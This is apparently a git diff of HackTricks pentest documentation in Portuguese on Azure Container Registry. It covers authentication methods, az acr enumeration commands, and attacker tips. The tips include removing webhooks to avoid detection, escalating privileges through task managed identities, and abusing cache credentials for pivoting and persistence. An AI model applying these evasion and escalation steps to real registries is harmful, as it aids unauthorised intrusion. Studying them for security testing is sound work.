Se você também tiver `Microsoft.ContainerRegistry/registries/tasks/write` e `Microsoft.ContainerRegistry/registries/runs/write`, siga para o caminho de privesc do ACR e abuse diretamente da managed identity da task:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../az-privilege-escalation/az-container-registry-privesc.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
- [TrustedSec - Pandora's Container Part 1: Desempacotando a segurança de containers do Azure](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
|
||||||
|
- [Microsoft Learn - Autenticação do Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
|
||||||
|
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
|
||||||
|
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
|
||||||
|
- [Microsoft Learn - Referência YAML do ACR Tasks](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
@@ -2,39 +2,39 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações básicas
|
||||||
|
|
||||||
Azure Container Registry (ACR) é um registry seguro e privado que permite **armazenar, gerenciar e acessar container images na Azure cloud**. Ele se integra perfeitamente com vários Azure services, fornecendo fluxos de trabalho automatizados de build e deployment em escala. Com recursos como geo-replication e vulnerability scanning, o ACR ajuda a garantir segurança e compliance de nível enterprise para aplicações em contêineres.
|
Azure Container Registry (ACR) é um registry seguro e privado que permite **armazenar, gerenciar e acessar imagens de containers na Azure cloud**. Ele se integra perfeitamente a vários serviços da Azure, fornecendo workflows automatizados de build e deployment em escala. Com recursos como geo-replicação e vulnerability scanning, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicações containerizadas.
|
||||||
|
|
||||||
### Permissions
|
### Permissões
|
||||||
|
|
||||||
Estas são as **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas em um Container Registry:
|
Estas são as **diferentes permissões** [de acordo com a documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas sobre um Container Registry:
|
||||||
|
|
||||||
- Access Resource Manager
|
- Acessar o Resource Manager
|
||||||
- Create/delete registry
|
- Criar/excluir registry
|
||||||
- Push image
|
- Fazer push de imagem
|
||||||
- Pull image
|
- Fazer pull de imagem
|
||||||
- Delete image data
|
- Excluir dados de imagem
|
||||||
- Change policies
|
- Alterar policies
|
||||||
- Sign images
|
- Assinar imagens
|
||||||
|
|
||||||
Também existem algumas **built-in roles** que podem ser atribuídas, e também é possível criar **custom roles**.
|
Também existem algumas **built-in roles** que podem ser atribuídas, e também é possível criar **custom roles**.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
### Authentication
|
### Autenticação
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> É muito imporatant que, mesmo que o nome do registry contenha algumas letras maiúsculas, você sempre deve usar **lowercase letters** para fazer login, push e pull images.
|
> É muito importante que, mesmo que o nome do registry contenha letras maiúsculas, você sempre use **letras minúsculas** para fazer login, push e pull de imagens.
|
||||||
|
|
||||||
Existem 4 maneiras de autenticar em um ACR:
|
Existem 4 maneiras de autenticar em um ACR:
|
||||||
|
|
||||||
- **With Entra ID**: Esta é a forma **default** de autenticar em um ACR. Ela usa o comando **`az acr login`** para autenticar no ACR. Este comando irá **armazenar as credentials** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um docker socket, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar no ACR. Então, para autenticar, você precisa usar como user name `00000000-0000-0000-0000-000000000000` assim: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
- **Com Entra ID**: Esta é a maneira **padrão** de autenticar em um ACR. Ela usa o comando **`az acr login`** para autenticar no ACR. Esse comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando esse comando em um ambiente sem acesso a um socket do docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** de autenticação no ACR. Então, para autenticar, você precisa usar `00000000-0000-0000-0000-000000000000` como nome de usuário, por exemplo: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||||
- **With an admin account**: O admin user vem desabilitado por default, mas pode ser habilitado e então será possível acessar o registry com o **username** e **password** da conta admin, com permissões completas sobre o registry. Isso ainda é suportado porque alguns Azure services o utilizam. Note que **2 passwords** são criadas para este usuário e ambas são válidas. Você pode habilitá-lo com `az acr update -n <acrName> --admin-enabled true`. Note que o username geralmente é o nome do registry (e não `admin`).
|
- **Com uma conta de admin**: O usuário admin é desabilitado por padrão, mas pode ser habilitado. Depois disso, será possível acessar o registry com o **username** e a **password** da conta admin, com permissões completas no registry. Isso ainda é suportado porque alguns serviços da Azure o utilizam. Observe que são criadas **2 passwords** para esse usuário, e ambas são válidas. Você pode habilitá-lo com `az acr update -n <acrName> --admin-enabled true`. Observe que o username geralmente é o nome do registry, e não `admin`.
|
||||||
- **With a token**: É possível criar um **token** com um **specific `scope map`** (permissions) para acessar o registry. Então, é possível usar o nome do token como username e qualquer uma das passwords geradas para autenticar no registry com `docker login -u <registry-name> -p <password> <registry-url>`
|
- **Com um token**: É possível criar um **token** com um **`scope map`** (permissões) específico para acessar o registry. Depois, é possível usar o nome do token como username e qualquer uma das passwords geradas para autenticar no registry com `docker login -u <registry-name> -p <password> <registry-url>`
|
||||||
- **With a Service Principal**: É possível criar um **service principal** e atribuir uma role como **`AcrPull`** para fazer pull images. Então, será possível **fazer login to the registry** usando o SP appId como username e um secret gerado como password.
|
- **Com um Service Principal**: É possível criar um **service principal** e atribuir uma role como **`AcrPull`** para fazer pull de imagens. Depois, será possível **fazer login no registry** usando o appId do SP como username e um secret gerado como password.
|
||||||
|
|
||||||
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
|
Exemplo de script da [documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para gerar um SP com acesso a um registry:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ACR_NAME=$containerRegistry
|
ACR_NAME=$containerRegistry
|
||||||
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
|
|||||||
```
|
```
|
||||||
### Encryption
|
### Encryption
|
||||||
|
|
||||||
Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts.
|
Apenas o **Premium SKU** oferece suporte à **encryption at rest** para as images e outros artifacts.
|
||||||
|
|
||||||
### Networking
|
### Networking
|
||||||
|
|
||||||
Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `<registry-name>.azurecr.io` and a private endpoint has the format `<registry-name>.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure.
|
Apenas o **Premium SKU** oferece suporte a **private endpoints**. Os demais oferecem suporte apenas a **public access**. Um public endpoint tem o formato `<registry-name>.azurecr.io`, e um private endpoint tem o formato `<registry-name>.privatelink.azurecr.io`. Por esse motivo, o nome do registry deve ser exclusivo em todo o Azure.
|
||||||
|
|
||||||
### Microsoft Defender for Cloud
|
### Microsoft Defender for Cloud
|
||||||
|
|
||||||
This allows you to **scan the images** in the registry for **vulnerabilities**.
|
Isso permite **scanear as images** no registry em busca de **vulnerabilities**.
|
||||||
|
|
||||||
### Soft-delete
|
### Soft-delete
|
||||||
|
|
||||||
The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**.
|
O recurso **soft-delete** permite **recuperar um registry excluído** dentro do número de dias indicado. Esse recurso vem **desabilitado por padrão**.
|
||||||
|
|
||||||
### Webhooks
|
### Webhooks
|
||||||
|
|
||||||
It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:\*' means events under repository 'foo'.
|
É possível **criar webhooks** dentro dos registries. Nesse webhook, é necessário especificar a URL para a qual uma **request será enviada sempre que uma ação de push ou delete for executada**. Além disso, os Webhooks podem indicar um escopo para definir os repositórios (images) que serão afetados. Por exemplo, `foo:*` significa eventos no repositório `foo`.
|
||||||
|
|
||||||
From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected.
|
Do ponto de vista de um atacante, é interessante verificar isso **antes de executar qualquer ação** no registry e removê-lo temporariamente, se necessário, para evitar ser detectado.
|
||||||
|
|
||||||
### Connected registries
|
### Connected registries
|
||||||
|
|
||||||
This basically allows to **mirror the images** from one registry to another one, usually located on-premises.
|
Isso basicamente permite **espelhar as images** de um registry para outro, geralmente localizado on-premises.
|
||||||
|
|
||||||
It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry.
|
Ele tem 2 modos: **ReadOnly** e **ReadWrite**. No primeiro, as images são apenas **pulled** do registry de origem; no segundo, as images também podem ser **pushed** para o registry de origem.
|
||||||
|
|
||||||
In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used.
|
Para que os clientes acessem o registry a partir do Azure, um **token** é gerado quando o registry conectado é usado.
|
||||||
|
|
||||||
### Runs & Tasks
|
### Runs & Tasks
|
||||||
|
|
||||||
Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**.
|
Runs & Tasks permite executar no Azure ações relacionadas a containers que normalmente precisariam ser executadas localmente ou em um pipeline de CI/CD. Por exemplo, é possível **buildar, fazer push e executar images no registry**.
|
||||||
|
|
||||||
The easiest way to build and run a container is using a regular Run:
|
A maneira mais fácil de buildar e executar um container é usando um Run comum:
|
||||||
```bash
|
```bash
|
||||||
# Build
|
# Build
|
||||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||||
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
|
|||||||
# Run
|
# Run
|
||||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||||
```
|
```
|
||||||
However, isso vai acionar runs que não são muito interessantes do ponto de vista de um attacker, porque elas não têm nenhuma managed identity anexada.
|
No entanto, isso vai disparar execuções que não são muito interessantes do ponto de vista de um atacante, pois elas não têm nenhuma managed identity associada.
|
||||||
|
|
||||||
No entanto, **tasks** podem ter uma **system and user managed identity** anexada a elas. Essas tasks são as que são úteis para **escalate privileges** no container. Na seção de privileges escalation é possível ver como usar tasks para escalate privileges.
|
No entanto, **tasks** podem ter uma **system and user managed identity** associada a elas. Essas tasks são as úteis para **escalate privileges** no container. Na seção de privilege escalation, é possível ver como usar tasks para escalate privileges.
|
||||||
|
|
||||||
### Cache
|
### Cache
|
||||||
|
|
||||||
A funcionalidade de cache permite **download images from an external repository** e armazenar as novas versões no registry. Ela requer ter algumas **credentials configured** selecionadas escolhendo as credentials de um Azure Vault.
|
O recurso de cache permite **baixar imagens de um repositório externo** e armazenar as novas versões no registry. É necessário ter algumas **credenciais configuradas**, selecionando as credenciais de um Azure Vault.
|
||||||
|
|
||||||
Isso é muito interessante do ponto de vista de um attacker porque permite **pivot to an external platform** se o attacker tiver permissões suficientes para acessar as credentials, **download images from an external repository** e configurar um cache também pode ser usado como **persistence mechanism**.
|
Isso é muito interessante do ponto de vista de um atacante, pois permite fazer **pivot para uma plataforma externa** caso o atacante tenha permissões suficientes para acessar as credenciais. **Baixar imagens de um repositório externo** e configurar um cache também pode ser usado como **mecanismo de persistência**.
|
||||||
|
|
||||||
## Enumeration
|
## Enumeração
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> É muito importante que, mesmo que o nome do registry contenha algumas letras maiúsculas, você use apenas letras minúsculas na url para acessá-lo.
|
> É muito importante que, mesmo que o nome do registry contenha algumas letras maiúsculas, você use apenas letras minúsculas na URL para acessá-lo.
|
||||||
```bash
|
```bash
|
||||||
# List of all the registries
|
# List of all the registries
|
||||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||||
@@ -143,18 +143,22 @@ az acr cache list --registry <registry-name>
|
|||||||
# Get cache details
|
# Get cache details
|
||||||
az acr cache show --name <cache-name> --registry <registry-name>
|
az acr cache show --name <cache-name> --registry <registry-name>
|
||||||
```
|
```
|
||||||
## Acesso Não Autenticado
|
## Acesso não autenticado
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Escalada de Privilégios & Post Exploitation
|
## Escalação de privilégios & Post Exploitation
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-container-registry-privesc.md
|
../az-privilege-escalation/az-container-registry-privesc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../az-post-exploitation/az-container-registry-post-exploitation.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||||
|
|||||||
Reference in New Issue
Block a user